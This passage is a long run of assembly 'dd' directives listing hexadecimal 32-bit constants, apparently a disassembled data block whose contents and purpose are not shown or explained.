dd 0CE02A938h, 778EC2A5h, 9DE73EBh, 62AE866h, 15D76840h
dd 4710C142h, 1A5FC07Ah, 8CD5A39Fh, 913344h, 0D66F1AAAh
dd 2B1639BCh, 0B1D72E16h, 0E29C420h, 4335178Dh, 65804F20h
dd 0C050AE83h, 7B0F4078h, 0A1A8156Fh, 7E0CB675h, 4BFE6065h
dd 144A8048h, 6A2B0058h, 0A829181Ah, 67803A73h, 959101FEh
dd 354A40ABh, 0BA38CCE8h, 2EBB9801h, 0F0242625h, 0F8991280h
dd 9352D9DAh, 8406C90h, 7FA9C342h, 0A11310ADh, 0FC4B82E6h
dd 0C2AB80C9h, 0F19F3Ch, 0D6FB9213h, 0FCCED405h, 7AB1DF0Ah
dd 3B9DE81Fh, 0C686E245h, 0C3C1C087h, 0F8D0DBBFh, 70CE001Eh
dd 0EC5611A8h, 2C0F8305h, 0E760FEB8h, 86C15D6Fh, 0A85204E3h
dd 0E84450h, 0E86D98D3h, 9D848D10h, 5D871600h, 753A42B7h
dd 7BF00211h, 0A60D8EE3h, 0AC379842h, 0F02F6BCh, 49BAD2Ah
dd 7E2C6475h, 0A1AF00A0h, 87FB685Dh, 474CC337h, 5092404Eh
dd 82718503h, 0E011B3D5h, 1F3FAE2h, 0DEED8978h, 34834587h
dd 0D09992A8h, 0C3593000h, 3BEA3FAAh, 8F803D27h, 4923B375h
dd 5A012A8Dh, 3C67946Ah, 0FC72DC82h, 1A05B00h, 0C5C11228h
dd 0D560B496h, 0F6A3991Ah, 1C6086FAh, 1AD07BC1h, 41504A89h
dd 0E8DA78D4h, 0D8B0D082h, 0AC794D00h, 4C1A7355h, 0B0F8600Eh
dd 0E988BF62h, 99B2D912h, 0DC71440h, 3A02A1B8h, 74BCA69h
dd 0E40CA3FCh, 1B08C048h, 2026F8F3h, 50001495h, 0E4D1AA75h
dd 206A60B8h, 0EBC09B94h, 0A2525190h, 8461C220h, 2C591A90h
dd 36183379h, 0AA9C3907h, 4899F8E0h, 0E8762840h, 0F2D30077h
dd 844F1A96h, 561F6BFFh, 695753B8h, 6723D43Ah, 3F6B2400h
dd 92DEAC02h, 407B4A88h, 3968B7B0h, 55000347h, 63A52366h
dd 1F57B4Fh, 0F6D3838Dh, 30FAE00Ch, 68252EE4h, 2590984Bh
dd 0C8DC0811h, 0D64EC94h, 11ADD540h, 0EA5C86FCh, 5D998EFCh
dd 9F7A2780h, 2E1309h, 0C84C436Fh, 0A43FDD2Fh, 3BF528C2h
dd 0D27490D9h, 0CF6E115Ah, 214D8CF7h, 38457BF1h, 38EBF36Fh
dd 8C054A0h, 0AE0015CDh, 1188F9EBh, 5EB6BAh, 57CFD889h
dd 3CD53FAFh, 6E002EFCh, 2DAB298h, 8A12708Eh, 18AC8449h
dd 46153571h, 92D8621Ah, 1444DA20h, 0D9EA70h, 1B45758Eh
dd 28B66DBh, 204C2A06h, 0EA169A8h, 4D618AE9h, 87887840h
dd 3702B2F3h, 1E7C1A7Ah, 3DF16132h, 0D278A087h, 3807F996h
dd 0D160B809h, 21A39D1Ah, 78A4FA65h, 1ADC4F40h, 3451058Bh
dd 33E10CAAh, 0CAE8E7E8h, 55775483h, 69E1C460h, 99A6ADh
dd 0B564ACB4h, 0BB55BEF3h, 0B321C165h, 376A488h, 0A1882064h
dd 0A8AE3B83h, 7B230343h, 0F81A1B09h, 4454848Ah, 0D600B569h
dd 5BA3E21Ah, 9CF444h, 6564BB4Dh, 8ED48993h, 1A83C004h
dd 9888E377h, 9F6D002Dh, 7B8B105Dh, 7254AB22h, 0BC1D82ACh
dd 0F94E9367h, 0E419E06Ah, 0E8BF17h, 0BAE7C628h, 0D7996B4Dh
dd 0FE85DCB6h, 0D70A7536h, 3E958882h, 78D053E8h, 0E304B3B0h
dd 91C6FF2h, 4231C99h, 0A30C0A2h, 60E400DAh, 0B021478h
dd 21D95130h, 19C650h, 3DA39090h, 48C42C99h, 0BE440481h
dd 9BB4DCh, 7BD24A7h, 88084183h, 0D3E4F60Bh, 0E3C8A737h
dd 0D400B0A5h, 8D727520h, 0D38A098Eh, 0B080ED01h, 0B781DDB1h
dd 87EB5000h, 46C30344h, 0BF9B035Dh, 67213CF7h, 0B4EE40FEh
dd 4C00CCEEh, 0D017D18Ch, 260954E8h, 9158066Eh, 762E9CEBh
dd 0C547CF09h, 58978F2Ch, 92D3BF60h, 0C70AD987h, 0C050E9C0h
dd 3E00659Eh, 27C92D6Ch, 30D476DEh, 1D0EA647h, 55126BF2h
dd 0DC32C18Eh, 156E30A7h, 9D215F7Dh, 8F91BCh, 0CC2BD91Bh
dd 22891Ch, 0BFAFF990h, 631A0665h, 8308D14Ch, 0CFCF7CB9h
dd 0C40415A0h, 0D4862C44h, 0B98949C8h, 0C9964A3h, 5BDFC388h
dd 3632AD00h, 0BB16CCB8h, 68425986h, 5B4260F8h, 613B991Dh
dd 402010FAh, 739043BFh, 0E4831C9Eh, 8BF5BC18h, 92C8F843h
dd 631F17C6h, 0E2BC20E8h, 0BA003E4Ch, 2188B12Dh, 0F2BC1FA8h
dd 18752A93h, 7B90098h, 1641E123h, 0B8029152h, 63CD7EBDh
dd 50D2E5h, 44500F2Fh, 0DAA7BB88h, 64F67E00h, 5C53101Fh
dd 92901D8h, 0FBA07D1Ah, 0CF041EDh, 34833C2h, 0D52E3C66h
dd 538B6Fh, 954E4B79h, 69A918CFh, 310F4090h, 0E0F473C8h
dd 0C38B0480h, 5C57E423h, 3B009A2Dh, 2E6A337Eh, 6030C979h
dd 394F490Dh, 62A81FFDh, 6D118066h, 59D772FCh, 0FF1A9B01h
dd 0FAACA15Fh, 5B80B83Ch, 0EDFE7783h, 3AE26500h, 0AD26D635h
dd 4075D3h, 7405F069h, 8C52EBA8h, 20A3EF00h, 0CB2E07D7h
dd 0D2B5001Dh, 8A50ADAh, 4200A981h, 2C2D4F6Fh, 0F8D7149Ah
dd 0F484981Bh, 64D00134h, 6AA924B2h, 4069F4h, 66A4597Eh
dd 3B30342h, 16BD97BFh, 0ADD073CCh, 0A8075CCFh, 0BAC2A927h
dd 9EBB6CC0h, 0B38E001Ch, 0FBC415E5h, 0FE3C9962h, 0AF3C7C90h
dd 91650F41h, 0C78E1E2Fh, 241F475Ch, 8D2CBD90h, 3D8E85Fh
dd 0FC269F2h, 17E09A6Fh, 6300E36Eh, 86DFC528h, 28D6C1Ch
dd 93BCA7EBh, 0B480A4EFh, 9F9E0C59h, 6C55B40Ch, 33183Ah
dd 0C7F11A18h, 4A7BE496h, 809A123Ch, 0A16A9565h, 0EC1F2Ch
dd 7D5FBCA4h, 0F96817D8h, 33268A18h, 625CBF40h, 0BD8DD8B4h
dd 0ABA70498h, 0B000DF90h, 627FC4D0h, 0C3918E19h, 0B68F33D8h
dd 0B4436000h, 0EDD7B51Fh, 8E5C00A6h, 0FBC7713Bh, 8F67AD32h
dd 0B6C08230h, 6D2FB3h, 5ACBDE94h, 0B52B3057h, 6A9A4202h
dd 0A0609552h, 692A5D28h, 0BD18CA5Ch, 999818C0h, 4118AB42h
dd 44108EF3h, 1CD42993h, 79E08060h, 33259DDDh, 24A89364h
dd 7148025Eh, 90A35262h, 1C90E120h, 6AB0E7F1h, 48127A28h
dd 6D28F70Ah, 0A4F7C18h
dd 6C8C0842h, 1ACC796Fh, 0F156327Eh, 21438404h, 34E99D62h
dd 0A7AD4080h, 49CEA165h, 0FD4248A2h, 25184816h, 4D49EF5Ch
dd 8DD918B3h, 49413848h, 0C1DA6800h, 0B52FB0E6h, 5C5A309Ch
dd 2D4E9081h, 80F11490h, 40442E31h, 1F0CA071h, 30A31729h
dd 6A328D59h, 5B0F39C0h, 14DE33BEh, 0CC2F0A79h, 0A3280381h
dd 38119F3Ah, 0B744DBC0h, 2A612DA2h, 3C841B1Eh, 1F0CC1E8h
dd 0E31052BAh, 7F24320Ah, 0B000CC15h, 2A13D623h, 9D30C371h
dd 3191527Bh, 9115F028h, 13DEB90Dh, 0DC03693Bh, 0B5C107BBh
dd 0A15466C1h, 49B91156h, 8358B8A0h, 0EA13625Ch, 0EE10002Bh
dd 8933F944h, 16FE6D2Ch, 0CA449h, 3E3AA559h, 0F1ABAC14h
dd 50FD84C8h, 70D8431h, 15DEA4F9h, 57B54081h, 5100ABC8h
dd 6255B01Ch, 0C5114CEAh, 78BF2E48h, 1C81CB40h, 874068A1h
dd 87143FC1h, 406D850Dh, 9941D69Ch, 0F2240FABh, 6486640Eh
dd 0FD39E41Eh, 7C055455h, 0BC082F06h, 37058614h, 0B52438CEh
dd 518C4811h, 1221D02Bh, 40E0A16Dh, 0E212B780h, 0FA886501h
dd 0A0CA049h, 87218402h, 74760848h, 0EFE58984h, 0F6514100h
dd 0C49236B3h, 4C56100h, 0CC4431Dh, 386D016Bh, 2B549D1Fh
dd 0FF6C3029h, 0DBE72F12h, 5BE48400h, 1311A15Ah, 546E1AC4h
dd 0A413DCACh, 2DB44067h, 7E5B624Fh, 0E2F4158h, 8A025117h
dd 0D380903Ah, 71B563A7h, 73B70132h, 8B1E91B4h, 775983BBh
dd 0FA28A7DCh, 16C090EFh, 926B3CBEh, 228E412Ch, 20454CD8h
dd 85BE4680h, 23002673h, 0EFA13D99h, 306AE494h, 0B7480478h
dd 1B51C52Ah, 0C48AF188h, 0ECF9EE29h, 0BE225291h, 0CA8C14DEh
dd 7502A0FDh, 0CD5C283Eh, 0A81B7441h, 0FD009921h, 1CC4E2B0h
dd 26C9D71Ah, 4A6CA8A9h, 1EC51378h, 3B958004h, 566096FBh
dd 0C00CAB6h, 93D3A5DDh, 67203F6h, 8BC40B9h, 71F28D80h
dd 38BE7000h, 0B048EEDAh, 46EC00C1h, 0FE8B02E2h, 0AC07944Ch
dd 0B2684B3Bh, 0C9EE6270h, 0DBC0048h, 0D05926DAh, 0A3001F8Dh
dd 0ABF2E784h, 6F177Dh, 807E4E20h, 0C460591Dh, 0BD58E500h
dd 0E351CFDFh, 4C643D11h, 7AA7D101h, 6076C153h, 3100CE53h
dd 0B7039106h, 0FC10F2h, 56BC8901h, 0F1332FCFh, 15022C00h
dd 0FA5A6AD0h, 135D0FC9h, 75822565h, 4B7BB94h, 6CCAD402h
dd 72033625h, 4070BB5Bh, 0C315A05Ah, 13F64291h, 23032B5Dh
dd 0A2F37529h, 0F81C86D1h, 0AEF00608h, 19E5BB54h, 18121C83h
dd 9700C7B8h, 0C4CE4364h, 2499CDBCh, 12509409h, 67A81418h
dd 41D284Ch, 0C95B28CCh, 1CBA50ECh, 6CC92AA9h, 9D733E90h
dd 0A3745056h, 604AE510h, 4680851h, 0E6C05B45h, 0A2B3F928h
dd 0F1640640h, 0A46FF209h, 4AD11B1Ch, 842A03Fh, 147B280Ch
dd 48023C28h, 0A63B5440h, 504BF140h, 632AB300h, 0A891FA0Dh
dd 0A4938102h, 20BAC013h, 0C467325h, 0A807EAF0h, 0BD76BBA7h
dd 855CFC4Ah, 7D9CF504h, 10B06A54h, 0FE9F7F77h, 4C40CE80h
dd 738CEE72h, 97063004h, 5823CB88h, 14AB3490h, 0A8925608h
dd 478B07C9h, 6638EC1Fh, 511951C3h, 4201CA2h, 7A49702Eh
dd 85FC05D0h, 84B2070Eh, 0C26A377h, 4D61019Fh, 10518A1Eh
dd 7B108065h, 593147F8h, 330578E4h, 0D7692B57h, 1B8C91C0h
dd 400B27Fh, 83081FF6h, 748EAB65h, 1FA57416h, 0C0736445h
dd 4FBBF5EAh, 250979FEh, 23246DA3h, 0D3C62630h, 76080089h
dd 73F11E45h, 0E9551210h, 40488C8Ch, 0E590864h, 46F0EF65h
dd 6852C3BFh, 74EB0DE2h, 0B7A38BA8h, 8EF52500h, 2C985F7Ch
dd 15E00E1h, 6E968977h, 4160D5DDh, 6A6AD79h, 23D8038Ch
dd 5B306FCBh, 783E90Fh, 0E3BBEE02h, 7D7D0C0h, 4765F789h
dd 43A383DCh, 9C40BAB2h, 0A70CF2E5h, 29D6D088h, 2AAB7ED9h
dd 28C03EF8h, 0C84F6A5h, 667318Ah, 80004738h, 0A638D4F5h
dd 3688A58Ch, 0E1419F65h, 2ED5B3Ah, 27C8077Fh, 54D04010h
dd 525E0A6h, 0B10184CAh, 921EC0B8h, 21C7590Bh, 0A340D7FEh
dd 0C0884B46h, 10C776A1h, 7704F11Fh, 72E61213h, 551EF880h
dd 0A9FA2E91h, 984D1431h, 12EAEC2Ch, 0A838501Ch, 0CF0F10A6h
dd 0F720279h, 0C138C485h, 2C1924D1h, 0DA8AC181h, 4B785542h
dd 0CD2410B8h, 3843CC8h, 11FA06Ch, 13023B33h, 76DC4DDh
dd 3EC3620Eh, 0A77F60D5h, 9099A071h, 0D0EB2020h, 0A8EDD702h
dd 869CA627h, 1DD096A4h, 5EAEE7C9h, 2C434071h, 0A8AFF9F4h
dd 62D54958h, 0C03B22C8h, 1176BE2h, 0C80545F0h, 240F4DCBh
dd 2640FF50h, 30980DB9h, 0CAC85586h, 0F2DABC41h, 1B1DB808h
dd 0E9F26120h, 0D07C0DECh, 0AD68076Bh, 6803D829h, 0A18654D1h
dd 8C4A2187h, 7DCE2010h, 317AE610h, 7DC60C48h, 4A1F319Ah
dd 8902B083h, 4EA5C865h, 0D4307D30h, 9C052C29h, 4EBEDBCEh
dd 0F034C74Ch, 6660B52Ah, 29B4F118h, 0E85D6B01h, 0A8D5D791h
dd 0FE957DCh, 3AE42254h, 0D440C4ECh, 1CAE2C88h, 89F1F562h
dd 78119719h, 9E69918Bh, 62762C01h, 92C9A6FEh, 280D7F79h
dd 58002131h, 0E99610CFh, 81589091h, 0ACDEF9F5h, 102E420h
dd 9F9075E7h, 80B77627h, 0C41B9180h, 0F576CACh, 72F23A96h
dd 832A3184h, 39B8738Ch, 0D31F78A7h, 9518F3C3h, 0C014D79h
dd 0A960A83Ah, 7F28D671h, 9321B0B7h, 200B1EA2h, 8839FB6Ch
dd 0D87C1852h, 0D19A3950h, 0B8755C00h, 0AE762688h, 7F550069h
dd 2D4E70F3h, 92403E4h, 16110CEEh, 56B2EC0Fh, 40C8AC0Ah
dd 59BAE424h, 0D3448098h, 7FED3D1Bh, 0C77D2D0Dh, 0BAB8EC81h
dd 79EEB03Ch, 7871FF30h, 0F06AC72h, 0D0899131h, 0C887C13Ah
dd 2310C0AFh, 98785DFEh, 831B040Fh, 0B267E0ECh, 9866F92Ch
dd 98D55450h, 69A93DA6h, 7002A23Fh, 4FF04628h, 6F9FC60h
dd 0D10B62F6h, 80557D9Bh, 8E83D4DCh, 59FA0077h, 0E54C0111h
dd 6F007694h, 2A5E1082h, 0CE4E99h, 4749BEA5h, 0C5C0AEECh
dd 2E00D9F0h, 0BC9B0DA7h, 170A201h, 342945F9h, 555D5E51h
dd 5074568Ch, 0E8BE0444h, 0B683247Dh, 78520E70h, 198000D2h
dd 0F427BB5h, 41D7EFEh, 3840B20Ch, 4F739835h, 29706422h
dd 3E952159h, 113B5411h, 0BD125F10h, 88213310h, 2C892FB0h
dd 218124CEh, 6C123BF3h, 8897D910h, 2C881DA5h, 418889C9h
dd 11452B50h, 67116049h, 10A4122Ch, 0ED89589Ch, 0DE0B1441h
dd 10208011h, 8078FCE9h, 0A08361F1h, 454164h, 547B35Fh
dd 0D0ABC782h, 1F120C00h, 9596F8ADh, 0DE90030h, 0C335DD8Bh
dd 0B1F0C0EEh, 0C56A3D1Eh, 6D19EAC0h, 0F379F51h, 62D1EFA5h
dd 23B406B8h, 91F8877Fh, 56B69D07h, 58F18564h, 0CAFC0369h
dd 0F809337Eh, 0A3802350h, 29002BB1h, 103D6C7Fh, 0FD9AEF0h
dd 47E5C5E6h, 0B5805BEEh, 61857CC6h, 9F3B411Fh, 5700265Eh
dd 0F918284Fh, 5CAB17C9h, 0BA1000Ch, 54316125h, 167E5F3Dh
dd 7420126Bh, 0A01F05h, 15561ADBh, 0CB69F9DAh, 7E8AD103h
dd 0C0D6A56Bh, 150C1A0h, 0CCB26A2Fh, 34FC89F7h, 0DF0CC070h
dd 28510D16h, 0A762Fh, 0F6FBF81h, 4564761h, 0DAF0720Fh
dd 97024050h, 0A1FDF6CDh, 9F70D308h, 5373C2Dh, 0B43DA380h
dd 2AD417F2h, 1200C87Eh, 0D733350Fh, 75982C85h, 57C40096h
dd 34414D27h, 39008E14h, 8726F235h, 629CD4h, 198AB469h
dd 1695F8F4h, 6B8D2707h, 0FA71052Eh, 9FCC0776h, 0BDA10043h
dd 907B63B0h, 0F438E245h, 71DC00B6h, 0BC77094Eh, 0D5641E28h
dd 199C40F6h, 0EE630A2Ah
dd 60C180Fh, 0F5B260AAh, 7A78965h, 0D7EBBA25h, 0B52940BEh
dd 0E824EFE4h, 9400C4A0h, 41FF52EEh, 43B4004Ch, 33115C47h
dd 5E006DBAh, 0F9FB1F0Bh, 1F4802D6h, 80A451E0h, 0FF698B36h
dd 0C67EE691h, 9BE4C47Ah, 0A6CDDE1Eh, 69010280h, 399EF06h
dd 7422364Fh, 60055A42h, 81C18BCFh, 61128600h, 79B63B8h
dd 0FE475F99h, 196C0089h, 0FC7D0E08h, 4BFD2C14h, 3D5F0FD8h
dd 4688C03Ch, 4AA23F89h, 0E941C2Bh, 0FA4098E7h, 570113C8h
dd 403E239h, 0E633E8C5h, 10937C80h, 0B4AF00B5h, 668C9FC1h
dd 0CB743D3Ah, 0A5638B00h, 89E674B7h, 8F5A0056h, 5EC28DC4h
dd 31009CC8h, 933D0B09h, 0A632C5h, 42441B2Ah, 18AF1384h
dd 0C6C7B000h, 0FF316D8Eh, 835A00B1h, 0B5E833ACh, 0E3004971h
dd 32597ED6h, 2E57AF4h, 8E407068h, 0A180CE08h, 0C1CFA37Bh
dd 2AE90B0Fh, 215580A9h, 3932DDC4h, 8080737Ah, 0D61BA736h
dd 3300CC0Bh, 5219D991h, 16C588h, 7B2F09CDh, 3F98508Fh
dd 0D21D3D00h, 1EB985C1h, 672E0081h, 715DCBDAh, 0D3E6A15Ah
dd 97821C00h, 34BA249Ah, 2CD7A0CFh, 4B0E004Fh, 9FDECB91h
dd 457DAF15h, 5ECC3407h, 0B470B36Ch, 0F2138F1h, 0C6A4C811h
dd 0FACFCD60h, 4C001FA8h, 20F76844h, 1D82131h, 0D5BEEF4h
dd 807850D2h, 6FDFE680h, 72A19D3Bh, 46D60062h, 0F0BA045Fh
dd 1B00BB70h, 0BFEC1792h, 7C01AA74h, 4D2E00DDh, 0C76163F5h
dd 400030DEh, 5ABEF61Eh, 1C54A0h, 914F8229h, 18AEE45Fh
dd 0F28E10C0h, 0D2A950h, 0CCC321Dh, 0D66AECDEh, 2A087C00h
dd 9B43DF77h, 0F3FC00D1h, 0CB3F76B6h, 7A00D617h, 0BDEC053Ch
dd 60C4BCh, 0AFFB6D72h, 999FB1DBh, 74025414h, 6281009Eh
dd 6B4F87A8h, 8D92482Ch, 0B5961300h, 0F0680A8Ah, 63D66F15h
dd 81A908E4h, 963500CDh, 663762A4h, 0E96DAB01h, 91101DDh
dd 16F0DCC5h, 0BAC700FDh, 31EE7DFEh, 0D7011F7Fh, 21B87390h
dd 98CC3729h, 0D9726Ch, 2D2A555Ah, 0EA71D83Ch, 0B88F4000h
dd 0FEA58A5Bh, 7F2904Eh, 0FDCE1D55h, 206520ACh, 0FB002722h
dd 58BEBC97h, 4BE5BAh, 0A55F4D82h, 0EB71C3A6h, 0C2B0DF00h
dd 5C3E8FCAh, 0BEFE003Ch, 0B326CCE8h, 4F1C13B4h, 0C4FF8E4h
dd 0A2005324h, 0A5306A05h, 0CB3800C7h, 1D3F559Ah, 0FA39D315h
dd 981F8152h, 67FE6DEFh, 0DC50D4h, 0CDD650Ah, 0AD7187B9h
dd 0EFD29D24h, 9A5EA800h, 7A69732h, 250E9C7h, 0C6FAE09Fh
dd 20017B3Bh, 459562FBh, 0E9D4011Fh, 88000EEh, 2969D60h
dd 0F603C1D6h, 2B31EBFEh, 7754E0F9h, 1A72077Dh, 70910ED7h
dd 685A181Dh, 12425F00h, 0E8329F31h, 0EFC100DAh, 0C91F6158h
dd 0EEF0D57Bh, 0F6003DFCh, 6E849676h, 2C2FE183h, 15FD14Eh
dd 0E2EDA41Bh, 2A14F417h, 8ADF440Eh, 9C1CE0B1h, 7A772A3h
dd 94EB88A4h, 0AA8B9336h, 6F512A88h, 0C004170h, 1B60B70h
dd 90E0BEh, 0ADDDD812h, 3EF19CC6h, 0C9DAAE00h, 523F7FB5h
dd 71DEEC2Ah, 92372441h, 1FFD0007h, 0C18D798Eh, 434AC800h
dd 0C94B6EE8h, 0D6E900A4h, 90420A8h, 27003664h, 0E4135C56h
dd 0B1F769h, 0E30107EBh, 0DAB49A8Eh, 4B3BBF00h, 12739E2Ah
dd 325800E2h, 0F8B9A886h, 0F100621Ch, 0E3EFC8FDh, 1CD2B94h
dd 6BC7539Ch, 0D8859704h, 0DF00D588h, 0EF4A6909h, 0E889B986h
dd 0C4B300FCh, 0F05E2456h, 3800ACC1h, 0BB43F727h, 5CD5F9h
dd 58A50CDAh, 6EE51263h, 0C1FC8E00h, 453BB743h, 8D9A0762h
dd 309C175Fh, 7DA5BBF5h, 599FC200h, 8994FAECh, 873600EBh
dd 580FA20Ah, 7F0042B6h, 0FC21A1D7h, 34AB94h, 0F2FD2E07h
dd 9A0E205Fh, 0A6AA3E00h, 0C2FC97D4h, 75BD0E63h, 0AFCFB436h
dd 0C40E2819h, 0D70E0B1Fh, 0AFD267F9h, 0A11E4050h, 338D848h
dd 74E0B0F4h, 90B887C6h, 0AF17DDABh, 0CB03E75Ah, 88837746h
dd 3E2D9BEh, 3CED9BF9h, 5E9012A5h, 401E7E3h, 0A35FFC61h
dd 0DC404BDBh, 270F5Ch, 1E082585h, 296998B2h, 0AA9AF100h
dd 0F4542D56h, 0CB221C39h, 0B9ED4024h, 5D1BECD8h, 8158064Ch
dd 4CB88C0Eh, 6008F0ECh, 54E328EBh, 0EF00B08Ah, 0A9D1C443h
dd 768D018Bh, 234C0097h, 85FF9E0Bh, 9A00FE11h, 0D2443BC8h
dd 48660694h, 0C5019BDDh, 0A72E7D3Fh, 0DB21F4CAh, 736D60Eh
dd 828E0F5h, 1FFD9h, 0E0E5634Dh, 728FD4B1h, 7EAE660Bh
dd 44C0032h, 48F6BDh, 10BB928Ah, 0AA8857A2h, 0DCF29D00h
dd 80612869h, 0B2BA0799h, 0B0124072h, 6C92FEC1h, 6031FB0h
dd 35054E8Bh, 66A18853h, 4C7C5899h, 0CEE6237Fh, 2B523200h
dd 7B4E7A4Ch, 2E840025h, 0AC63C0B0h, 93008E58h, 3AEE3C6Ch
dd 0D855A6h, 5E3FAACFh, 0E0B15AE5h, 4A10CD61h, 5DEC1033h
dd 31D731Ah, 0DBE9423h, 0D5F86D63h, 0D41D8FE3h, 7E0062DEh
dd 77C337EEh, 1BEA007Ah, 4263C882h, 193C1F15h, 8C452CE8h
dd 0E0247EE0h, 23F80464h, 0C0C79B0Eh, 0DD1B02B7h, 65F0FBFCh
dd 0B7E4BA00h, 113717F2h, 2A7C00EFh, 525C29F1h, 9F00BC9Bh
dd 30F9E0C4h, 19972D3h, 842BD1B5h, 0C8224995h, 9C4C685Fh
dd 0E58F0064h, 89C8BC46h, 28B800ADh, 0D008E3BEh, 0B1096993h
dd 8E682E2Bh, 66824030h, 286010h, 3C74ED27h, 47B6B7C9h
dd 17B46B00h, 0CCCB393Fh, 96270090h, 759AEC61h, 0CF03921Ch
dd 6FEEA219h, 0E799E062h, 80F267C4h, 37261005h, 163BFCF1h
dd 4F9E0041h, 0E6C72D14h, 3FF90046h, 0DD331947h, 0F1280576h
dd 5A3CB85Bh, 85893CD2h, 0BDF25310h, 0AA1C5581h, 79EB470h
dd 2CBEAC58h, 862201F8h, 3E82C4B2h, 6FD61D00h, 28158B04h
dd 1001604Eh, 3AE3C285h, 71095F00h, 2F06C23h, 0A2E40286h
dd 2A4E8A16h, 9C6DE7C0h, 0CDBA5A02h, 0C0B5CE05h, 1D2430h
dd 1FA102EBh, 4C06B6B4h, 3CC4BA07h, 0EF514468h, 0BD601A47h
dd 0DC951578h, 110790D3h, 807E42DEh, 0EF4697AFh, 8F3FEC02h
dd 6072B6D7h, 7A4F50Ch, 3B08320Fh, 108370EBh, 0D04C3E18h
dd 503F74h, 0EC02B3A9h, 1C02BC7h, 7186E235h, 0F0A01F1Bh
dd 99001389h, 34807B14h, 4C22A7D6h, 6B01B31Ah, 0F910015Dh
dd 3A2F70AFh, 0DF6E5A0Fh, 66D320ADh, 0FF61A7h, 0CC4D6A72h
dd 529515B6h, 50D7E200h, 5BEAC51Ch, 839F008Eh, 0D2DDB3F0h
dd 3C001656h, 0E72A1513h, 3E45E302h, 0AC93720Bh, 0B507BB64h
dd 7908897h, 0EB1686Eh, 1E55DCC4h, 18CF8FBEh, 0DFC5880h
dd 3B26E8B0h, 5F0F1BBBh, 0DA984035h, 0F228EDh, 67EC8B2Ah
dd 0F456E622h, 0DA890A3h, 24BC7EA2h, 4E57B09h, 0FC90D82Ch
dd 48BF4704h, 0B10024AEh, 0B52DF7FAh, 0C3F94BBBh, 533723A0h
dd 45FBB300h, 0D131A994h, 526B04A5h, 0C7051601h, 0CAA4C0B0h
dd 0ED000B7Fh, 0E0FF577Eh, 433DD1h, 9015BB75h, 0FE80BA48h
dd 299C9F09h, 0E8AC00C2h, 7EC6DAF0h, 0F32B000Fh, 676E4B94h
dd 2300A9BFh, 0CE982CE4h, 84CDABh, 45DC0BA4h, 0C4668C7Ch
dd 87EAF900h, 908A3AFh, 4D8404EDh, 0C06F0D68h, 0AB95666Ch
dd 0E3CFC883h, 0E62C989Dh, 523D0041h, 8B236FD1h, 80E68CE0h
dd 0CDD7A300h, 981B2F78h, 96FE0027h, 64080441h, 5D1D164Ah
dd 0EA808CA1h, 0BE9A0C2Fh, 0E1A40067h, 82186CDCh, 0A0069BCh
dd 0B754BBADh, 3CB5653h, 0E8222059h, 0A5B8BA16h, 0FD00FEACh
dd 57E52EA7h, 485E42B1h, 0E781730h, 52825162h, 0A87B45FDh
dd 8040CCCDh, 2E00E6FCh, 72B58215h, 6370674h, 0D89211C8h
dd 51EAD89Fh, 9EA12400h
dd 905EA4B4h, 5AFB07EEh, 0A03A39ECh, 1496A2B2h, 0B7758401h
dd 63D23774h, 105ED20h, 5A43DC9Eh, 87139791h, 173C041Eh
dd 0ABA94F0h, 0A8402C6Dh, 0EE6E0B3Dh, 0A01D9101h, 0E8E3C115h
dd 5A00638Dh, 41C5C7CEh, 0DFD7E6h, 304FC842h, 0A86D736Ch
dd 889C1600h, 9E546712h, 82C4002Ah, 9229B97Fh, 1003EEBCh
dd 3DCF882Ch, 5D6FE8A2h, 0F01A74BFh, 0B212001Dh, 662A6B7Fh
dd 98024489h, 0CE93E750h, 49B381C5h, 2660BCE8h, 887F07A2h
dd 0F76072F4h, 0E7B26373h, 75294BB0h, 0A828871Eh, 0DCFD5AC0h
dd 0E3CAA1h, 0DD7FE11Ah, 4446C4BDh, 0CB819F04h, 6A805F63h
dd 6B732Bh, 0E813115Ch, 620EF974h, 0FF8ECB24h, 0ED86DF00h
dd 1F8BC2A6h, 0C0E0AFD4h, 749E3DE8h, 0D900A07Ah, 0B4986DC8h
dd 882378h, 833E4124h, 262FA952h, 7A280E39h, 7D69C100h
dd 8D6CC587h, 0DC6B092Bh, 4780BDF0h, 8C7B1002h, 5D03380Fh
dd 859740ECh, 1C6DB605h, 0C0555A30h, 0E123B7A6h, 80C08F2Fh
dd 0B8D8A4A3h, 96C83F53h, 216790h, 0C2053C8Dh, 3FD42h
dd 1B06A5B9h, 18E8BC6Ah, 60A0D65Ch, 73E4DC62h, 9770A64h
dd 80D8A3h, 0FC25B8C3h, 4D006649h, 0EF37D09Bh, 4BD719h
dd 95F39F51h, 80CE3284h, 0FD01B58h, 6F73210Fh, 0D89E7B4h
dd 19A101EBh, 8930A9D3h, 1EEC0060h, 7A94BEC0h, 400B942h
dd 5C939AB7h, 13707Bh, 6ED44772h, 0A2F3C811h, 0F3A1343Ch
dd 1CED7C07h, 0A690024Eh, 56955Bh, 3C26299Eh, 0BFB4C61Ah
dd 0B99AE000h, 4064EC8Ch, 4542007Dh, 0A0671F30h, 0DD00A12Dh
dd 72D21629h, 50E4A9h, 0B4C5D45Ah, 92666E64h, 0BABF8500h
dd 37C447CAh, 88E274h, 0D88F919Dh, 13278B79h, 3B60E003h
dd 90ED6CD4h, 266E2Bh, 0BFC41130h, 0D6E4120Bh, 0B798B600h
dd 9B22B402h, 992A00E6h, 0AB787EA1h, 5F01FF56h, 35A2C7D4h
dd 71E08ECCh, 493818BFh, 0C50E783Bh, 59B45701h, 0D0E8CF45h
dd 7D1001EFh, 0DC4DC2FCh, 52DF2008h, 59E3A300h, 0EE03446Ch
dd 0AFE40049h, 0FD89E2FAh, 0C9000446h, 42C40DCCh, 7E2E0F32h
dd 30480025h, 5FE80690h, 8403F9A5h, 924BBC0h, 0D81DE3D9h
dd 197E64h, 3F52AA88h, 0CB9D41DEh, 0B266507h, 1F2068C2h
dd 0A0978BDDh, 7A4EB94h, 5E4D9E85h, 0CDED02Bh, 0BF03A263h
dd 1609E544h, 0AA5DE8C4h, 10F900B9h, 7FC92F74h, 60037E4h
dd 81A8C70Eh, 0D25FFEh, 32679065h, 5270C65Dh, 0F88FCE00h
dd 98C51748h, 654230C1h, 0ABEA7520h, 113F93Eh, 761A8B94h
dd 0CDD8D5C4h, 7CA7792h, 1BF8C7B9h, 301D21C9h, 0D1D860D6h
dd 0F9FC5200h, 58BB2EEDh, 0AEF30F41h, 20804F05h, 0E9E6A425h
dd 0B9500406h, 7E0A786h, 98BB0C36h, 132A806Eh, 90E02D6h
dd 0C08650D4h, 14F59427h, 3B2F71D8h, 240EAFD2h, 36C0D72Ch
